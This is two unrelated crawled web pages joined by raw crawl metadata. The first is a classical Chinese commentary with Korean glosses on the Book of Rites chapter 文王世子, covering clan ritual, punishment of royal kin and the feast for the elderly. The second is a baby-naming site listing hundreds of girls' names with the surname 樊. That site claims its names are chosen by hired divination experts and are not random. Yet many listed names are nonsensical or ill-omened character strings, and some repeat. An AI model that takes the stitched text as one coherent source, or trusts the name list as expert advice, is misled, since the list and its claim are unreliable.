人旣有親疎則,燕食을 亦隨世降殺也라. ○疏曰 假令本是 齊衰는 一年四會食이요, 若大功則 一年三會食이요, 小功則 一年再會食이요, 緦麻則 一年一會食하니 是 世降一等也라.\n[嚴陵方氏曰凡燕之禮必立賓以備酬酢之儀若鄕飮酒言立賓以象天是也然主人者尊賓旣謂之賓則尊之而已非親之也親莫親於同姓則凡於同姓固無賓之之禮也故燕族之賓不以同姓而以異姓爲之也]\n9-1. 其在軍하얀 則守於公禰니라.[289]\n禰는 當讀作祧이라. ○公禰는 謂遷主.載在齊車.隨公出行者也니 庶子官이 旣從在軍 故로 守衛此齊車之行主也라.\n[祧천묘할조,체천.祧遷:宗廟의 位牌를永寧殿으로모시던일]\n9-2. 公이 若有出疆之政이어시든 庶子이 以公族之無事者로 守於公宮호대 正室로 守太廟하고 諸父는 守貴宮,貴室하고, 諸子,諸孫으로 守下宮,下室이니라.[290]\n上章에 專言 出軍則 此出疆之政은 蓋朝覲會同之事也라. 無事者 謂不從行及無職守之人也라. 公宮은 總言 公之宗廟宮室也라. 正室은 公族之爲卿大夫士者之適子也라. 太廟는 太祖之廟也요, 諸父는 公之伯父叔父也라. 宮以廟言이요, 室以居言이니, 貴宮은 尊廟也요, 貴室은 路寢也라. 下宮下室은 則是親廟 與燕寢也라.\n10-1. 五廟之孫이 祖廟未毁어든 雖爲庶人이나 冠[去聲]取[去聲]妻에 必告하며 死必赴하며 練祥則告니라.[291]\n諸侯는 五廟이니 始封之君이 爲太祖하야 百世不遷이라. 此下親盡則遞遷하나니 此言五廟之孫은 是.始封之君이 卽五世祖故로 云이라. 祖廟未毁는 未毁未逓遷也라. 此孫이 雖無祿仕이나 然 冠昏에 必告于君하며, 死必赴하며, 練祥之祭에 必告者는 以其親未盡也라.\n[嚴陵方氏曰親屬未絶不以貴賤之間而忘吉凶之問也]\n10-2. 族之相爲[거성]也에 宜弔不弔하며 宜免[問]不免이어든 有司罰之니 至于賵[芳鳳反]賻[附]承[贈]含[去聲]하야 皆有正焉이니라.[292]\n四世而緦는 服之窮也요. 五世親盡하니 袒免而已니 袒免說見前篇하니라.六世以往은 弔而已矣라. 當弔而不弔하며 當免而不免이 皆爲廢禮故로 有司이 者罰之는 所以肅禮敎也라. 襚以車馬하며 賻以貨財하며 含以珠玉하며 襚以衣服하나니 四者를 總謂之贈이니 隨其親疎하야 各有正禮호대 庶子官이 治之하니 有司는 卽庶子也라.\n[緦:시마(15새베)시][賵:보낼봉][襚:수의수]\n[長樂陳氏曰祖晏於上宗易於下雖不爲庶人吉凶不必赴告義也祖廟未毁雖爲庶人吉凶必赴告恩也五世而親屬盡故爲之免六世而親屬竭故弔之而已宜弔不弔宜免不免有司罰之則緦麻而上宜服不服者可知也]\n10-3. 公族이 其有死罪어든 則磬于甸人하고 其刑罪어든 則纖[箴]剸[지호대 亦告于甸人하나니 公族은 無宮刑이니라.[293]\n磬은 懸縊殺之也라. 左傳에 室如縣磬이라하고 皇氏云,如縣樂器之磬也라. 甸人은 掌郊野之官이니 爲之隱故로 不於市朝其刑罪之當纖刺剸割之時에 亦鞠讀刑法之書於甸人之官也라. 漢書每云鞠獄이라하니 鞠盡也이니 推審罪狀하야 令無餘藴然後에 讀其所犯罪狀之書而刑之라. 無宮刑者는 不絶其類也라.\n[磬:경쇠경][縊:목맬액][甸:경기전][纖:가늘섬][刺찌를자][剸오로지전,벨단.剸행:마음대로함]\n[長樂陳氏曰公之於族示之以孝弟睦友子愛之道所以敎其善示之以廟朝之禮所以敎其敬示之以喪服之禮所以敎其哀示之以燕食之禮所以敎其親示之以宮室之守所以敎其忠示之以赴告鞠弔免所以敎其義俟之已盡而猶犯焉然後隨之以刑可也其死罪則縊之於甸人其刑罪則纖剸亦告于甸人不忍與衆棄之也不忍與衆棄之而必於甸人亦以甸之共祭薦之物故也蓋不以親廢法不以私滅公然後宗廟可得而事然則以親而體百姓乃所以事宗廟也]\n10-4. 獄成이어든 有司이 讞[魚列反]于公호대 其死罪則曰호대 某之罪이 在大辟[婢亦反]이라하고 其刑罪則曰호대 某之罪 在小辟이라하고, 公曰宥之라하시면 有司이 又曰호대 在辟이라하고 公이 又曰하대 宥之라하시면 有司이 又曰호대 在辟이라하나니 及三宥하야 不對하고 走出하야 致刑于甸人이어든 公이 又使人追之曰호대 雖然이나 必赦之라하시고 有司이 對曰호대 無及也라하고 反命于公하여든 公이 素服不擧하고 爲[去聲]之變하시며 如其倫之喪하며 無服하고 親哭之니라.[294]\n獄成은 謂所犯之事를 訊問已得情實也라. 讞은 議刑也라. 殺牲盛饌曰擧이니 素服不擧는 爲之變其常禮하야 示憫惻也라. 如其親疎之倫而不爲弔服者는 以不親往故也로대 但居外不聽樂及賻贈之類를 仍依親疎之等耳라. 親哭之者는 爲位于異姓之廟而素服以哭之也니 天子諸侯는 絶旁親이라. 故,知此言無服은 是不爲弔服이라.\n[長樂劉氏曰聖人代天工立人道百王授受者禮樂政刑而已也故悖于中者禮樂之必棄政刑之必加又敢私於其宗族哉不幸而悖于中者出於公族聖人猶有三宥之心而有司之正不可奪也於是素服不擧樂不御正寢不羞常膳哭之如其倫之喪也]\n[○長樂陳氏曰不以公盡法故無宮刑不以義掩恩故三宥而又追之至於無及然後素服不擧爲之變]\n[○廬陵胡氏曰有司又曰在辟以示後世臣執法宜堅其君用刑宜寬及三宥不對走出致刑于甸人春秋傳曰臣義而行不待命者此也]\n[讞:評議할얼(언),피의조사,재결을청함][宥:용서할유]\n11. 公族이 朝于內朝는 內親也요, 雖有貴者나 以齒는 明公子也요, 外朝以官은 體異姓也요, 宗廟之中에 以爵爲位는 崇德也요, 宗人이 授事以官은 尊賢也요, 登餕受爵을 以上嗣는 尊祖之道也요, 喪紀를 以服之호대 輕重爲序는 不奪人親也요, 公與族燕則以齒而孝弟之道이 達矣요, 其族食을 世降一等은 親親之殺[色介反]也요, 戰則守於公禰는 孝愛之深也요, 正室로 守太廟는 尊宗室而君臣之道이 著矣요, 諸父諸兄으로 守貴室하고 子弟로 守下室하야대 而讓道이 達矣니라.[296]\n此以下는 覆解前章,庶子,正公族以下라. 諸事內親은 謂親之故로 進之於內也요, 明父子는 昭穆을 不可紊也요, 體異姓은 體貌異姓之臣也라. 崇德은 德之尊者를 爵必尊也요, 尊賢은 惟賢者아 能任事也요, 上嗣는 繼祖者也라. 故.爲尊祖之道라. 服之輕重은 本於屬之親疎하니 親疎之倫을 不可易奪也요, 燕食은 主於親親하니 以齒相序는 所以達孝弟之道也요, 親親은 施於生者이니 宜有降殺之等이요, 孝愛는 施於死者이니 宜有深遠之思라. 君臣之道는 以輕重言이요, 讓道는 則以貴賤言也라.\n[嚴陵方氏曰宗廟之中序爵以辨貴賤爵不踰德故謂之崇德序事以辦賢否故宗人授事以官謂之尊賢又曰君與族燕以齒則不敢以君之位而加於父兄然親親不可以無殺故世降一等焉事生之道不若事死之爲至居安之節不若居危之爲難故戰守於公禰所以爲孝愛之深皆謂之宗室則親親之意也正室又其正者也正室守太廟所以尊宗室而庶子之與異姓莫敢介焉且不疑於無君故曰君臣之道著]\n[○長樂陳氏曰正室守太廟此以承重者守所重也故謂之尊宗室而君臣之道著諸父諸兄守貴室子弟守下室此尊不偪下下不陵上者也故謂之讓道達][偪:다가올핍]\n12-1. 五廟之孫이 祖廟이 未毁어든 雖及庶人이나 冠取妻에 必告하며 死必赴는 不忘親也요, 親未絶而列於庶人은 賤無能也요, 敬弔臨[如字]賻賵은 睦友之道也니 古者에 庶子之官이 治而邦國이 有倫하고 邦國이 有倫而衆이 鄕[去聲]方矣니라.[298]\n人君이 任官에 本無親疎之間호대 顧賢否이 何如耳라. 親盡而賢이면 亦必仕之어늘 今,親未盡而.已在庶人之列은 是以其無能故로 賤之也라. 族人有喪에 君必敬謹其.弔臨賻賵之禮者는 是皆和睦友愛族人之道也라. 鄕方은 所向之方이니 謂皆知趨禮敎也라.\n[嚴陵方氏曰庶子之官以治內爲事凡治之序自內以及外而已故曰古者庶子之官治而邦國有倫倫者先後不可亂之謂也邦國有倫而衆不惑於道之所在故曰衆鄕方矣方者道之方也][賵:부의봉]\n12-2. 公族之罪를 雖親이나 不以犯有司에 正術也는 所以體百姓也요, 刑于隱者는 不與國人으로 慮兄弟也요, 弗弔하며 弗爲服하며 哭於異姓之廟는 爲[去聲]忝祖하야 遠[去聲]之也요, 素服居外하며 不聽樂하야 私喪之也는 骨肉之親을 無絶也요, 公族에 無宮刑은 不剪其類也니라.[300]\n正術은 猶言常法也라. 公族之有罪者이 雖是君之親이나 然亦必在五刑之例而不赦者는 是不以私親而干犯有司之正法也니 所以然者는 以立法無二制하야 當與百姓으로 一體斷決也라. 與猶許也刑于甸師隱僻之處者는 是不許國人見而謀度吾兄弟之過惡也라. 刑已當罪而猶私喪之者는 以骨肉之親이 雖陷刑戮이나 無斷絶之理也라. 受宮刑者는 絶生理故로 謂之腐刑이니 如木之朽腐無發生也라. 此刑不及公族은 不忍剪絶其生生之類耳라.\n[嚴陵方氏曰有司以正行法故無貴賤親疎之間苟以公族之故乃欲奸有司使獲免焉則法失其正矣故曰公族之罪雖親不以犯有司正術也刑于隱則非與衆棄之矣故曰不與國人慮兄弟也公族不止於兄弟特擧中以談上下爾素服居外不聽樂則以哀未忘也遠之者公義也哀未忘則有私愛存焉故曰私喪之也夫有生所以傳類而官刑則無生之道焉故公族無宮刑][奸:간음할간]\n13-1. 天子이 視學하실새 大昕鼓徵은 所以警衆也니 衆至然後에 天子이 至하사 乃命有司하야 行事興秩節하여 祭先師,先聖焉하시나니 有司이 卒事하고 反命하나니라.[302-1]\n天子視學之日에 初明之時예 學中이 擊鼓하고 以徵召學士는 蓋警動衆聽하야 使早至也라. 凡物이 以初爲大하니 末爲小故로 以大昕은 爲初明也라. 有司는 敎.詩書禮樂之官也라. 興은 擧요, 秩은 常이요, 節은 禮也라. 卒事反命謂釋奠事畢에 復命于天子也라.\n[嚴陵方氏曰學記曰未卜禘不視學蓋敎養之久然後可以視之故也天子視學必警衆所以奉至尊不可以不各致其敬故也][昕:아침흔.새벽][禘:체제사체]\n13-2. 始之養也면 適東序하야 釋奠於先老하고 遂設三老,五更[平聲]群老之席位焉이니라.[302-2]\n天子이 視學에 在虞庠之中하사 事畢反國明日에 乃之東序而養老이니 始는 謂始初立學之時也이니 若非始立學則,無釋奠先老之禮라. 先老는 先世之爲三老五更者也니, 三老五更은 各一人이요, 群老는 無定數라. 蔡邕이 云,更當爲叟이니 三老는 三人이요, 五更은 五人이라하고, 未知是否이라. 然.皆年老更事致仕者라. 舊說에 取象三辰五星이라하니라. [邕:화락할옹]\n13-3. 適饌하야 省醴와 養老之珍具하고 遂發咏焉하고 退修之以孝養[去聲]也니라.[303]\n設席位畢에 天子이 親至陳饌之處하사 省視醴酒及養老珍羞之具하시고 省具畢에 出迎三老五更하사 將入門할새 遂作樂聲하야 發其歌咏하야 以延進之하고 老更이 旣入에 卽西階下之位어든 天子이 乃退而酌醴以獻之하시니 是修行孝養之道也라.\n[嚴陵方氏曰於學言祭先師先聖於東序言釋奠于先老隆殺之別也以其隆故曰視以其殺故曰適適則自此適彼而已設其席位則老者欲安之故也饌者食也醴者酒也適饌省醴蓋互言之皆適其所而省之也珍若八珍之屬凡可以養者莫不具焉故謂之珍具若王制以珍從是矣]\n13-4. 反하야 登歌淸廟하고 旣歌而語하야 以成之也니 言父子,君臣,長幼之道하며 合德音之致니 禮之大者也라.[303]\n反은 反席也니 老更이 受獻畢에 皆立於西階下東面이라가 今皆反升就席이어든 乃使樂工으로 登堂하야 歌淸廟之詩하야 以樂之하고 歌畢에 至旅酬時예 談說善道하야 以成就天子養老之禮也니 其所言說者이 皆是講明父子君臣長幼之道理하며 集合淸廟詩中 所詠文王道德之音聲하니, 皆德之極致요, 禮之大者也라.\n13-5. 下管象하며 舞大武하고 大合衆以事하야 達有神하며 興有德也니 正君臣之位와 貴賤之等焉하니 而上下之義이 行矣니라.[305]\n下管象者는 堂下에 以管으로 奏象舞之曲也요, 舞大武者는 庭中에 舞大武之舞也라. 象은 是文王之舞이니 周頌維淸이니 乃象舞之樂歌요, 武則大武之樂歌也라. 武頌의 言.勝殷遏劉라하고 維淸의 不言征伐則象武이 決非武舞矣라. 註疏에 以文王武王之舞로 皆名爲象하니 維淸象舞는 爲文王이요, 下管象은 爲武王이라하니, 其意이 蓋謂淸廟與管象이 若皆爲文王이면 不應有上下之別이로대 殊不知古樂이 歌者이 在上하고 匏竹이 在下하니 凡以人歌者는 皆曰升歌요 亦曰登歌요, 以管奏者는 皆曰下管이니 周禮에 大師이 帥瞽하야 登歌下管이라하고, 奏樂器書에 言.下管鼗鼓이 是也라. 淸廟는 以人歌之하니 自宜升이요 象은 以管奏之하니 自宜下라. 凡樂이 皆有堂上堂下之奏也라하니 此嚴氏之說이 足以正舊說之非故로 今從之하러라. 大合衆以事는 謂大會衆學士하야 以行此養老之事而樂之所感이 足以通達이 神明하며, 興起德性也라. 一說에 周道之四達은 以有神明相之요, 周家之興起는 以世世修德이니, 皆可於樂中에 見之라 하니라. 上言父子君臣長幼之道하고 此言正君臣之位貴賤之等而上下之義行則先王養老之禮이 豈茍爲虛文而已哉아?\n[長樂陳氏曰歌者樂之聲管者樂之器舞者樂之容登歌淸廟所以著其德下管象所以著其事舞大武所以著其功而又大合學士以預其事則幽足以達有神明足以興有德也]\n[○馬氏曰神者藏於禮樂之中而不可知則管象舞武以達之德者藏於人情之間而不可見則管象舞武以興之][匏:박포][鼗:땡땡이도]\n13-6. 有司이 告以樂闋어든 王이 乃命公侯伯子男及群吏하사 曰호대 反하야 養老幼于東序라하시나니 終之以仁也니라.[308]\n闋는 終也라. 此時예 畿內之諸侯와 及鄕遂之吏.皆與禮席일새 天子이 使其反國하야 各行養老之禮하니 是天子之仁恩이 始于一處而終皆徧及也라. ○馮氏曰.石梁先生이 於此經에 塗去幼字이어니 今按疏有其義而鄭註에 無養幼之文하니 疑是訛本에 攛入一字라.\n[嚴陵方氏曰養老之禮所以廣孝也而人行莫大於孝此慮之以大也設三老五更群老之席位此愛之以敬也發咏登歌合語下管此行之以禮也適饌省禮珍具此脩之以孝養也正君臣之位貴賤之等此紀之以義也命公侯而下各歸而有所養焉此終之以仁也]\n[闋:쉴결,다함,마침,문닫다][徧:두두편][攛:던질찬,나쁘게꾀다.섞다][脩포(건육)수,닦을수]\n14. 是故로 聖人之記事也에 慮之以大하며 愛之以敬하며 行之以禮하며 修之以孝養[去聲]하며 紀之以義하며 終之以仁하시니, 是故로 古之人이 一擧事而衆이 皆知其德之備也하나니, 古之君子이 擧大事호대 必愼其終始어니 而衆이 安得不喩焉이리오. 兌[悅]命에 曰호대 念終始典于學이라하니라.[309]\n虞夏商周이 皆有養老之禮하니 後王養老는 亦皆記序前代之事也라. 人道이 莫大於孝弟하니 慮之以大者는 謂謀慮此孝弟之大道而推行之也라. 愛敬은 省具之事요, 行禮는 親迎肅之也요, 孝養은 獻醴也요, 紀義는 旣歌而語也요, 終仁은 令侯國行之也니, 一事之中에 人皆知其衆德之全備者는 以其愼終如始也라. 如此則 衆安得 不喩曉乎아! 養老之禮이 行於學은 又因終始之義故로 引說命以結之也라.\n[馬氏曰慮之以大者孝弟仁之本也. 孝弟所以示其愛愛而弗敬獸畜之也. 故愛之以敬所以行敬之情而曲致者存乎 禮行之不以禮則直情徑行戎狄之道也. 行之以禮則無所不盡而養之不可以無其具故修之以孝養自慮之以大推而至於修之以孝養則君臣又嫌於不分 故紀之以義以定上下之分紀之以義所以致其尊而亦不可以不致其親故又終之以仁慮之以大者仁之本終之以仁者仁之成 君子始終之所依者仁而已矣]\n[○長樂陳氏曰樂書曰天子莫重於視學亦莫重於養老 故老更者爲其血氣旣衰而養以佚之仁也. 飮食之珍具親執而奉之禮也憲行以善吾之行乞言以廣吾之聞智也父事之不疑其所謂父兄事之不疑其所謂兄義也有親者視之而興孝有兄者視之而興悌信也夫一擧養老之事衆皆知其德之備者以此而已蓋釋奠於先老所以明其不忘本也適饌省醴所以明其不敢慢也. 樂則淸廟象武之頌所以視德與事也 語則父子君臣長幼之道所以明君與親也 然咏歌者樂之聲管者樂之器養老之樂始而發咏中而管舞卒而樂闋則堂上堂下之樂和樂而不流也其所以命群后群吏及養老幼于東序者不過示父子君臣長幼之道合德音之致始之以養終之以仁而已. 古之君子必謹其終始如此而衆安得喩哉] [嫌:싫어할혐][佚:편안일,방탕할질]\n15-1. 世子之記에 曰호대 朝夕에 至于大寢之門外하야 問於內豎曰하사대 今日에 安否는 何如오하야시든 內豎이 曰호대 今日에 安하시다 하여든 世子이 乃有喜色하시니 其有不安節이어시든 則內豎이 以告世子하야든 世子이 色憂不滿容하고 內豎言復初라한 然後에 亦復初하나니라.[311]\n世子之記는 古者敎世子之禮篇也라. 不滿容은 不能充其儀觀之美也니 此節은 約言之하야 以見文王武王爲世子之異於常人也라. 文王은 朝王季日三이어시늘 此는 朝夕而已요, 文王은 行不能正履어시늘 此는 色憂而已라. ○石梁王氏曰 古世子之禮이 亡하니 此餘는 其記之一節小戴以附篇末하니라.\n15-2. 朝夕之食이 上[上聲]이어시든 世子必在視寒暖之節하시며 食下어시든 問所膳하시고 羞必知所進하여 以命膳宰하신 然後에 退하시며 若內豎言疾이라 하여든 則世子親齊玄而養이니라.[312]\n羞은 品味也라. 必知所進은 必知親所食也라. 命膳宰는 卽篇首所命之言也라. 養疾者이 衣齊玄之服하니 卽齊時所著玄冠緇布라. 衣裳則貴賤이 異制하니 謂之玄端服也라.\n[嚴陵方氏曰文武之所爲聖人之行也世子之記則中人之行而已 聖人之制行不以已豈一以文武之道責於人哉故錄世子之記於篇末從使後人可跂而及也所謂色憂不滿容者蓋喜之類爲陽憂之類爲陰陽饒而陰乏故憂則容不滿也齊玄而養謂心致齊而身服玄也] [跂:육발이기]\n15-3. 膳宰之饌을 必敬視之하시며 疾之藥을 必親嘗之니 嘗饌이 善則世子이 亦能食하시고 嘗饌이 寡 世子이 亦不能飽하사 以至于復初하신 然後에 亦復初니라.[313]\n善은 猶多也니 不能飽는 以視武王之亦一亦再에 又異矣라. 此篇의 首言文王武王爲世子之事故로 篇終에 擧記之言하야 以終之云이라.\n禮記集說大全卷之八 文王世子 終 ▶ 第九 禮運","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/8-mwnwang-sg.htm","date":"2019-02-19T20:01:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00151.warc.gz","language":"lzh","language_score":0.4999735355,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4999735355377197, \"cmn_Hani_score\": 0.23941835761070251, \"kor_Hang_score\": 0.19634340703487396, \"jpn_Jpan_score\": 0.042865090072155}","num_words":1933,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.499,"perplexity_score":500.0,"cluster_detection":-1} +{"text":",\n百家姓大全-樊氏排名信息卡:\n这篇主题是给刚出生的女宝宝起名......\n中国文化博大精深,起名字也是有讲究的,起一个好名字,宝宝的运程也会受到改变,不过家长给宝宝起名之时常发现,起一个有意蕴的名字也是很费神的事。姓樊的女孩名字洋气到底应该怎么选?\n姓名大全网给大家提供符合姓名学原理的名字选择,mingzi.cn名字都是本站聘请的专业顾问程中华、覃柄淋易学专家根据周易卦象起名、生肖起名专业选择,名字大全网提供的姓名绝非其它站随机组合的名字而来。免费起名网给各位家长提供最专一的免费服务。\n给姓樊的宝宝起名字,如果你的宝宝姓樊,可以也来选一个哦!希望能够帮到你。\n宝宝起名网免费取名樊娅艳 樊凡蕴 樊晚晴 樊艳艳 樊昙林 樊昙林 樊昙林 樊锦昙 樊锦萱 樊锦妙 樊潇童 樊雨童 樊羽童 樊晓童 樊笑童 樊小童 樊春英 樊莲叶 樊葶洽 樊玉旎 樊乐萱 樊慧娟 樊汀滢 樊可茵 樊露晴 樊红晔 樊蔓灰 樊葶灵 樊子娴 樊思晴 樊诗晴 樊雪晴 樊璎女 樊滢媒 樊沐滢 樊汐滢 樊泽滢 樊摹滢 樊灌滢 樊美茵 樊妍茱 樊玫牟 樊雨摹 樊珀苗 樊滢向 樊澶荥 樊摹凤 樊璞荥 樊香荥 樊洁滢 樊雨滢 樊丹妮 樊雨荷 樊知荷 樊秋杏 樊雨叶 樊燕陶 樊琦瑞 樊漪瑞 樊姝榆 樊德明 樊海枫 樊卓曦 樊玖曦 樊贝竺 樊秋源 樊霜菊 樊健怡 樊莺木 樊莺月 樊欣可 樊草荷 樊李妍 樊雨岑 樊堇蓝 樊裳美 樊呢喃 樊萱陶 樊蕾幻 樊宣晴 樊锦葶 樊思佑 樊颖可 樊悦可 樊溢可 樊可萱 樊谨轩 樊晓茜 樊艳阳 樊瑗 樊缘 樊熠轩 樊怡月 樊福炳 樊轶槿 樊轶曦 樊曦轩 樊曦槿 樊奕槿 樊槿琪 樊槿睿 樊思菡 樊甜槿 樊丁琪 樊婧藤 樊沐燃 樊捷奇 樊鑫奕 樊鑫曦 樊轶鑫 樊鑫淼 樊淼鑫 樊奕晗 樊奕寒 樊婉筠 樊淼琪 樊安卉 樊曦怡 樊颖轩 樊任颖 樊轩豫 樊轶嫣 樊仙曦 樊彤昙 樊仙曦 樊飞燕 樊锦彤 樊锦田 樊袁炀 樊墐炀 樊锦贞 樊锦妞 樊锦怡 樊锦姣 樊静雯 樊俊雯 樊就葵 樊玉邛 樊红梅 樊玉红 樊祉希 樊惠美 樊秀花 樊研冉 樊俏 樊锦仙 樊洁莲 樊苹小 樊萼卡 樊美茱 樊葭玲 樊阑丹 樊姗缨 樊华 樊俪婕 樊妍欢 樊郗怡 樊娴伊 樊吓丽 樊诗蕊 樊玉馨 樊杜厅 樊嫣唯 樊勒玉 樊璎滢 樊萍刁 樊疴叫 樊稻桃 樊娴徐 樊芯岑 樊竹葭 樊莹芩 樊汀峤 樊蓉旦 樊亦妩 樊亦缓 樊舫尼 樊妃樊 樊蓓仙 樊贝闺 樊竹薇 樊锦滢 樊映颖 樊雪冰 樊丽朵 樊贝菡 樊佳颍 樊宝岚 樊溪妍 樊泽妍 樊泓妃 樊泓妤 樊世莲 樊昕宛 樊怜颖 樊筱玫 樊芷晴 樊欣馀 樊篮支 樊品妩 樊紫琪 樊崎彤 樊宛旖 樊怡彤 樊欣珏 樊上丸 樊柘艳 樊瑾易 樊萍之 樊藐四 樊琼蔓 樊邛雨 樊芹竺 樊娓雨 樊馨匹 樊苈慧 樊一杏 樊一颖 樊岿雅 樊璎若 樊兀茕 樊兀萱 樊宛娟 樊注妞 樊孀荷 樊一瑰 樊容竺 樊窈州 樊娜妞 樊倩尖 樊芙西 樊飘诗 樊馨琪 樊芦倩 樊一婴 樊旬芸 樊静燕 樊妃芝 樊芦萩 樊娟充 樊一倩 樊一髓 樊鲤凤 樊薇竹 樊筱萱 樊菊桃 樊珏珊 樊雨轩 樊紫轩 樊怡杏 樊子漩 樊沂璇 樊若晴 樊晓柳 樊雨芩 樊茹雅 樊菽芯 樊一宁 樊一缨 樊妍葵 樊矜茵 樊怡杉 樊乐瑶 樊彦歆 樊振民 樊个伯 樊玫铄 樊玫琇 樊玫娴 樊玫妤 樊秋妤 樊娅妤 樊蓝诗 樊祖宁 樊琴琴 樊书涵 樊书晓 樊紫涵 樊子涵 樊星瑜 樊星宇 樊星羽 樊星语 樊英 樊怡宏 樊怡戆 樊魏颍 樊衣芯 樊名珏 樊昕昕 樊泓君 樊洱含 樊甜如 樊畔朵 樊泓岑 樊糍艺 樊苈飘 樊瑾莺 樊亚萍 樊苹 樊萍 樊亚嫡 樊雅嫡 樊雅男 樊亚迪 樊玲玲 樊佳琪 樊佳颖 樊佳慧 樊凌薇 樊彦杰 樊婉贝 樊琼杰 樊姝杰 樊璐杰 樊馥杰 樊馨杰 樊姝瑗 樊思桐 樊雨莺 樊婴梦 樊景衣 樊藐阑 樊篮岳 樊尚枝 樊欣雨 樊佳果 樊女樱 樊桂英 樊桂芝 樊晓宁 樊芳缘 樊婶荥 樊活凤 樊笆萁 樊柴伪 樊莲萱 樊芸菩 樊茹洁 樊媛菡 樊秋燕 樊婧怡 樊沛琳 樊洪秀 樊江波 樊远琴 樊性人 樊芦霞 樊海兰 樊妃华 樊雪蕊 樊浩岚 樊薇雅 樊静涵 樊静姝 樊静雅 樊嘉怡 樊曼妮 樊曼语 樊米琪 樊怀玉 樊露兰 樊婷 樊瑞云 樊妍 樊馨 樊娅楠 樊蕊鸢 樊娅岑 樊碧岑 樊华 樊敏 樊容谷 樊容荣 樊琻烨 樊金烨 樊羚智 樊凯歌 樊艺萌 樊洛宁 樊洛菲 樊洛语 樊依依 樊漫淇 樊曼淇 樊梦淇 樊英波 樊秘竹 樊孝瑄 樊一筠 樊一芮 樊一珂 樊一珮 樊馨琬 樊琼琳 樊嫣珊 樊伉茹 樊红秀 樊子墨 樊钱 樊盈 樊盈钱 樊春梅 樊珂沂 樊秀英 樊泉颉 樊千萱 樊帆缆 樊雨晨 樊姿凤 樊钰莨 樊钰群 樊钰琨 樊钰锟 樊小琳 樊小麟 樊钰琛 樊茜 樊饶臻 樊灵杉 樊灵莎 樊灵沙 樊灵纱 樊琳沙 樊霖莎 樊懿葵 樊汪灵 樊穰葵 樊馨莲 樊芯妃 樊蝉蕾 樊一蔓 樊穗萁 樊秋妍 樊谨宁 樊红艳 樊诗淇 樊永霞 樊满意 樊红丹 樊红霞 樊馨晨 樊馨蕊 樊馨彤 樊晓彤 樊永超 樊挈牟 樊欣桔 樊敏仪 樊思宏 樊沛妤 樊少兰 樊欣玥 樊芸霞 樊巧玲 樊明星 樊爽 樊际民 樊丽影 樊莺昙 樊茗樱 樊邺月 樊菀兰 樊蓝尹 樊丹璎 樊芸颍 樊于倩 樊篮茜 樊巧琳 樊飘莺 樊芸朵 樊妃婵 樊畜馨 樊罗茹 樊蓝婷 樊一茜 樊蓓蕾 樊蕴馨 樊芦蕹 樊丹阑 樊丹苕 樊霍绢 樊卉灶 樊鲲蕊 樊勾瞩 樊篮口 樊粉他 樊木敏 樊蜜原 樊篱刁 樊缆瑛 樊箐妞 樊蔀俪 樊罐堵 樊芯厅 樊笆付 樊缆萍 樊丁苹 樊伶苑 樊芙弗 樊鳗蕾 樊寐珏 樊霓艺 樊葭俐 樊蓝瀵 樊丹寐 樊出梦 樊赡静 樊月淇 樊坝婷 樊朵颍 樊艳茹 樊艳霞 樊丹苗 樊丹叙 樊雯笫 樊芬飘 樊惠丛 樊芬蠛 樊贮泯 樊闺倒 樊芳颟 樊洹萍 樊马蓝 樊陇人 樊龄兀 樊茗镶 樊嫂遮 樊人一 樊瓦藩 樊人芦 樊蛘蕃 樊艳诗 樊蛘泳 樊耘欣 樊玉樱 樊尤钏 樊蝉屹 樊崭笆 樊左险 樊卉昕 樊丹媛 樊二蕲 樊丹縻 樊幻紫 樊菲床 樊罐琪 樊画妍 樊幻云 樊馥竹 樊卉誉 樊孔舶 樊丽覆 樊倦雪 樊芡仨 樊纳裳 樊丽馥 樊蕾丛 樊玲俪 樊诱伶 樊艳湖 樊嫱攘 樊宁汝 樊兴俪 樊樵藤 樊艳人 樊月俚 樊淑鹃 樊月浮 樊桃厅 樊羡丛 樊匀蔓 樊蕴人 樊筹下 樊艳湄 樊尤霞 樊蕴旖 樊月香 樊袁藉 樊郑璐 樊秤蓝 樊眧欣 樊尺雅 樊玲馨 樊篮巾 樊媚怡 樊眄厅 樊癖妃 樊霍莉 樊篱绣 樊茜厅 樊钱险 樊萍峪 樊嵋娜 樊艳莎 樊琼弓 樊琴某 樊薄缋 樊菑伶 樊曾颜 樊菖却 樊甥厅 樊遗鄞 樊帻姬 樊彧厅 樊喻贞 樊芝菲 樊笫苑 樊恢凤 樊贻樱 樊莉酣 樊淑樱 樊雯莺 樊堙珑 樊恢嫣 樊雍帷 樊襦蔚 樊檬蔚 樊琨芩 樊聋手 樊丹盖 樊馨亢 樊莺赓 樊贝菩 樊珏旖 樊瑾妮 樊馨一 樊芬篮 樊蘅肖 樊茗兰 樊云雯 樊琬艳 樊绮茵 樊镬扩 樊掖妍 樊媛姝 樊芯媚 樊珏女 樊菊禳 樊引菽 樊茜雯 樊藩刁 樊玉倩 樊尼彗 樊丁女 樊人寸 樊刁菀 樊刁女 樊玉曼 樊茶朵 樊菱苹 樊藕萱 樊瑾佩 樊芸丸 樊女蕃 樊甜雒 樊丹姿 樊月矍 樊贻香 樊琪杼 樊人婧 樊娇姝 樊琼皮 樊茵阮 樊弗念 樊丹馨 樊丽丛 樊茹蛛 樊荇茹 樊贵思 樊苹二 樊阚斓 樊蓝俪 樊竭滩 樊闺缨 樊馨婷 樊晏娇 樊嫩禳 樊藕女 樊璎思 樊俪萱 樊诗婧 樊茱雯 樊苹垆 樊窈曼 樊苹薇 樊一雯 樊琪茗 樊翠婷 樊蕴篱 樊荀柔 樊伶绵 樊莺艳 樊萁真 樊夏菀 樊镶雅 樊艳汤 樊云小 樊绮辰 樊珏萌 樊岑菊 樊馨忆 樊荣允 樊韶芩 樊荣宋 樊宸菽 樊岑妃 樊鳗同 樊邈莹 樊媚姿 樊永邻 樊百萱 樊涪藐 樊雯栊 樊彤遴 樊藐僖 樊伶蓟 樊烟竺 樊学莺 樊诗淇 樊伶蕾 樊馨娇 樊琼芯 樊七旖 樊馨营 樊亢荫 樊珑憬 樊隰紫 樊如彤 樊贝琎 樊丁鸥 樊茱转 樊语汕 樊语岑 樊蕴篮 樊雅馥 樊芹琪 樊鹦姿 樊俪苑 樊岿葳 樊丹琼 